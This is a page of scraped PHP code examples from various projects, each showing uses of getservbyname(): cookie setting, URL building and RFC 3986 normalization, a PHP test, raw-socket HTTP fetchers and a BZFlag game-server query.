function rs_setcookie($name, $value, $daysexpire = 0, $path = "", $domain = "", $secure = false, $httponly = true)
{
    # Note! The argument $daysexpire is not the same as the argument $expire in the PHP internal function setcookie.
    # Note! The $path argument is not used if $global_cookies = true
    global $baseurl_short, $global_cookies;
    if ($daysexpire == 0) {
        $expire = 0;
    } else {
        $expire = time() + 3600 * 24 * $daysexpire;
    }
    if (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off' || $_SERVER['SERVER_PORT'] === getservbyname("https", "tcp")) {
        $secure = true;
    }
    if ($global_cookies) {
        # Remove previously set cookies to avoid clashes
        //setcookie($name, "", time() - 3600, $baseurl_short . "pages/", $domain, $secure, $httponly);
        //setcookie($name, "", time() - 3600, $baseurl_short, $domain, $secure, $httponly);
        # Set new cookie
        setcookie($name, $value, $expire, "/", $domain, $secure, $httponly);
    } else {
        # Set new cookie
        setcookie($name, $value, $expire, $path, $domain, $secure, $httponly);
    }
}
Пример #24
0
 /**
  * Returns an absolute or relative link
  * @param boolean $absolute (optional) set to false to return a relative URL
  * @return type 
  */
 public function toString($absolute = true, $forcePort = false)
 {
     if (!$absolute) {
         return \Cx\Core\Core\Controller\Cx::instanciate()->getWebsiteOffsetPath() . '/' . ($this->getMode() != 'backend' ? $this->getLangDir() . '/' : '') . $this->path . (empty($this->fragment) ? '' : '#' . $this->fragment);
     }
     $defaultPort = getservbyname($this->protocol, 'tcp');
     $portPart = '';
     if ($this->port && (!$defaultPort || $this->port != $defaultPort || $forcePort)) {
         $portPart = ':' . $this->port;
     }
     return $this->protocol . '://' . $this->domain . $portPart . $this->toString(false);
 }
Пример #25
0
 /**
  * Returns the normalized Uri as stated in RFC 3886, section 6
  *
  * @return ju1ius\Uri
  **/
 public function normalize()
 {
     $uri = clone $this;
     if ($this->isAbsoluteUrl()) {
         // Schemes are case-insensitive
         if ($this->scheme) {
             $uri->setScheme(strtolower($this->scheme));
         }
         // Hostnames are case-insensitive
         if ($this->host) {
             $uri->setHost(strtolower($this->host));
         }
         // Remove default port number for known schemes (RFC 3986, section 6.2.3)
         if ($this->port && $this->scheme && $this->port === getservbyname($this->scheme, 'tcp')) {
             $uri->setPort(null);
         }
         // Normalize case of %XX percentage-encodings (RFC 3986, section 6.2.2.1)
         foreach (['user', 'pass', 'host', 'path'] as $part) {
             if ($this->{$part}) {
                 $value = preg_replace_callback('/%[0-9a-f]{2}/iS', function ($matches) {
                     return strtoupper($matches[0]);
                 }, $this->{$part});
                 $method = 'set' . ucfirst($part);
                 $uri->{$method}($value);
             }
         }
     }
     // Path segment normalization (RFC 3986, section 6.2.2.3)
     $uri->setPath(self::removeDotSegments($this->path));
     // Scheme based normalization (RFC 3986, section 6.2.3)
     if ($this->host && !$uri->getPath()) {
         $uri->setPath('/');
     }
 }
Пример #26
0
<?php

echo "*** Test substituting argument 1 with float values ***\n";
$protocol = "tcp";
$variation_array = array('float 10.5' => 10.5, 'float -10.5' => -10.5, 'float 12.3456789000e10' => 123456789000.0, 'float -12.3456789000e10' => -123456789000.0, 'float .5' => 0.5);
foreach ($variation_array as $var) {
    var_dump(getservbyname($var, $protocol));
}
Пример #27
0
 /**
  * ソケットを用いてリダイレクトします。
  * @param string $url 取得URL
  */
 public function getHtmlBySocket($url)
 {
     $array = parse_url($url);
     $host = $array['host'];
     $path = $array['path'];
     $query = $array['query'];
     // ソケット初期化
     $servicePort = getservbyname('www', 'tcp');
     $address = gethostbyname($host);
     // ソケット作成
     $socket = new Net_Socket();
     if (PEAR::isError($socket) == true) {
         // 例外発生
         throw new ActionMobile_SocketException($socket->getMessage());
     }
     if ($socket === false) {
     }
     // ソケット接続
     $ret = $socket->connect($address, 80, false);
     if (PEAR::isError($ret) == true) {
         // 例外発生
         throw new ActionMobile_SocketException($ret->getMessage());
     }
     // リクエスト
     $in = "GET {$path}?{$query} HTTP/1.0\r\nHost: {$host}\r\nConnection: close\r\n\r\n";
     // リクエスト実行
     $ret = $socket->write($in);
     if (PEAR::isError($ret) == true) {
         // 例外発生
         throw new ActionMobile_SocketException($ret->getMessage());
     }
     // 出力データの見捨てる
     $out = $socket->readAll();
     // ソケットを閉じる
     $socket->disconnect();
 }
Пример #28
0
function bzfquery($hostport)
{
    list($server['host'], $server['port']) = split(":", $hostport, 2);
    $protocol = 'tcp';
    $get_prot = getprotobyname($protocol);
    if ($get_prot == -1) {
        // if nothing found, returns -1
        echo 'Invalid Protocol';
        return $server;
    }
    if (!$server['port']) {
        $server['port'] = 5154;
    } elseif (!ctype_digit($server['port'])) {
        $server['port'] = getservbyname($server['port'], $protocol);
    }
    $server['ip'] = gethostbyname($server['host']);
    $fp = fsockopen($server['host'], $server['port'], $errno, $errstr, 5);
    if (!$fp) {
        echo "{$errstr} ({$errno})\n";
        return $server;
    }
    fwrite($fp, "BZFLAG\r\n\r\n");
    $buffer = fread($fp, 9);
    //var_dump($buffer);
    if (strlen($buffer) != 9) {
        echo "not a bzflag server";
        return $server;
    }
    # parse reply
    $server += unpack("a4magic/a4protocol/Cid", $buffer);
    //var_dump($server);
    if ($server['magic'] != "BZFS") {
        echo "not a bzflag server\n";
        fclose($fp);
        return $server;
    }
    if ($server['protocol'] != '0222') {
        echo "incompatible version\n";
        fclose($fp);
        return $server;
    }
    # MsgQueryGame + MsgQueryPlayers
    $request = pack("n2", 0, 0x7167);
    $request .= pack("n2", 0, 0x7170);
    //var_dump($request);
    fwrite($fp, $request);
    $loop = 0;
    $have = array();
    $have['QueryGame'] = false;
    $have['QueryPlayers'] = false;
    $have['TeamUpdate'] = false;
    $have['AllAddPlayer'] = false;
    while (in_array(false, $have) && $loop < 64) {
        $loop++;
        $packet = readpacket($fp);
        if ($GLOBALS['debug']) {
            echo "Length: " . $packet['len'] . "\n";
            echo "Code: " . $packet['code'] . " (" . dechex($packet['code']) . ") [" . chr(hexdec(substr(dechex($packet['code']), 0, 2))) . chr(hexdec(substr(dechex($packet['code']), 2, 2))) . "]\n";
            echo "Data: " . $packet['data'] . "\n\n";
        }
        switch ($packet['code']) {
            case MsgQueryGame:
                $server += unpack("ngameStyle/ngameOptions/nmaxPlayers/nmaxShots/nrogueSize/nredSize/ngreenSize/nblueSize/npurpleSize/nobserverSize/nrogueMax/nredMax/ngreenMax/nblueMax/npurpleMax/nobserverMax/nshakeWins/nshakeTimeout/nmaxPlayerScore/nmaxTeamScore/nmaxTime/ntimeElapsed", $packet['data']);
                $have['QueryGame'] = true;
                break;
            case MsgQueryPlayers:
                $server += unpack("nnumTotalTeams/nnumPlayers", $packet['data']);
                unset($server['numTotalTeams']);
                $have['QueryPlayers'] = true;
                if ($server['numPlayers'] == 0) {
                    $have['AllAddPlayer'] = true;
                }
                break;
            case MsgTeamUpdate:
                $server += unpack("CnumTeams", $packet['data']);
                $packet['data'] = substr($packet['data'], 1);
                for ($team = 0; $team < $server['numTeams']; $team++) {
                    $server['team'][$team] = unpack("nnum/nsize/nwon/nlost", $packet['data']);
                    $packet['data'] = substr($packet['data'], 8);
                }
                $have['TeamUpdate'] = true;
                break;
            case MsgAddPlayer:
                $player = unpack("Cid/ntype/nteam/nwon/nlost/ntks/a32sign/a128motto", $packet['data']);
                $server['player'][$player['id']] = $player;
                if (sizeof($server['player']) >= $server['numPlayers']) {
                    $have['AllAddPlayer'] = true;
                }
                break;
        }
    }
    fclose($fp);
    return $server;
}
Пример #29
0
 /**
  * Normalizes the URL
  *
  * See RFC 3986, Section 6.  Normalization and Comparison
  *
  * @link https://tools.ietf.org/html/rfc3986#section-6
  *
  * @return void
  */
 public function normalize()
 {
     // See RFC 3986, section 6
     // Scheme is case-insensitive
     if ($this->_scheme) {
         $this->_scheme = strtolower($this->_scheme);
     }
     // Hostname is case-insensitive
     if ($this->_host) {
         $this->_host = strtolower($this->_host);
     }
     // Remove default port number for known schemes (RFC 3986, section 6.2.3)
     if ('' === $this->_port || $this->_port && $this->_scheme && $this->_port == getservbyname($this->_scheme, 'tcp')) {
         $this->_port = false;
     }
     // Normalize case of %XX percentage-encodings (RFC 3986, section 6.2.2.1)
     // Normalize percentage-encoded unreserved characters (section 6.2.2.2)
     list($this->_userinfo, $this->_host, $this->_path) = preg_replace_callback('((?:%[0-9a-fA-Z]{2})+)', array($this, '_normalizeCallback'), array($this->_userinfo, $this->_host, $this->_path));
     // Path segment normalization (RFC 3986, section 6.2.2.3)
     $this->_path = self::removeDotSegments($this->_path);
     // Scheme based normalization (RFC 3986, section 6.2.3)
     if (false !== $this->_host && '' === $this->_path) {
         $this->_path = '/';
     }
     // path should start with '/' if there is authority (section 3.3.)
     if (strlen($this->getAuthority()) && strlen($this->_path) && $this->_path[0] !== '/') {
         $this->_path = '/' . $this->_path;
     }
 }
Пример #30
0
 function get_site_sock($url, $post)
 {
     $get_url = parse_url($url);
     $address = gethostbyname($get_url['host']);
     /* Get the port for the WWW service. */
     $service_port = getservbyname('www', 'tcp');
     /* Create a TCP/IP socket. */
     $socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
     // Check to see if the socket failed to create.
     if ($socket === false) {
         $return["error"] = true;
         $return["errordesc"] = "Failed to create a socket";
         $return["content"] = socket_strerror(socket_last_error());
         return $return;
     }
     // Set some sane read timeouts to prevent the bot from hanging forever.
     socket_set_option($socket, SOL_SOCKET, SO_RCVTIMEO, array("sec" => 30, "usec" => 0));
     $connect_result = @socket_connect($socket, $address, $service_port);
     // Make sure we have a connection
     if ($connect_result === false) {
         echo "Failed to connect to server: {$url}\n";
         $return["error"] = true;
         $return["errordesc"] = "Coult not connect to server " . $address . ":" . $service_port . " (" . $url . ")";
         $return["content"] = socket_strerror(socket_last_error());
         return $return;
     }
     // Rebuild the full query after parse_url
     $url = $get_url["path"];
     // if (!empty($get_url["query"]))
     // {
     // $url .= '?' . $get_url["query"];
     // }
     if (!empty($post)) {
         $url .= '?' . $post;
     }
     $in = "GET {$url} HTTP/1.0\r\n";
     $in .= "Host: " . $get_url['host'] . "\r\n";
     $in .= "Connection: Close\r\n";
     $in .= "User-Agent:TEA 1.1.1\r\n\r\n";
     $write_result = @socket_write($socket, $in, strlen($in));
     // Make sure we wrote to the server okay.
     if ($write_result === false) {
         $return["error"] = true;
         $return["errordesc"] = "Coult not write to server";
         $return["content"] = socket_strerror(socket_last_error());
         return $return;
     }
     $return["content"] = "";
     $read_result = @socket_read($socket, 2048);
     while ($read_result != "" && $read_result !== false) {
         $return["content"] .= $read_result;
         $read_result = @socket_read($socket, 2048);
     }
     // Make sure we got a response back from the server.
     if ($read_result === false) {
         $return["error"] = true;
         $return["errordesc"] = "Server returned no data";
         $return["content"] = socket_strerror(socket_last_error());
         return $return;
     }
     $close_result = @socket_close($socket);
     // Make sure we closed our socket properly.  Open sockets are bad!
     if ($close_result === false) {
         $return["error"] = true;
         $return["errordesc"] = "Failed to close socket";
         $return["content"] = socket_strerror(socket_last_error());
         return $return;
     }
     // Did the calling function want http headers stripped?
     //	if ($strip_headers)
     //	{
     $split = explode("\r\n\r\n", $return['content'], 2);
     $return["content"] = $split[1];
     //	}
     return $return;
 }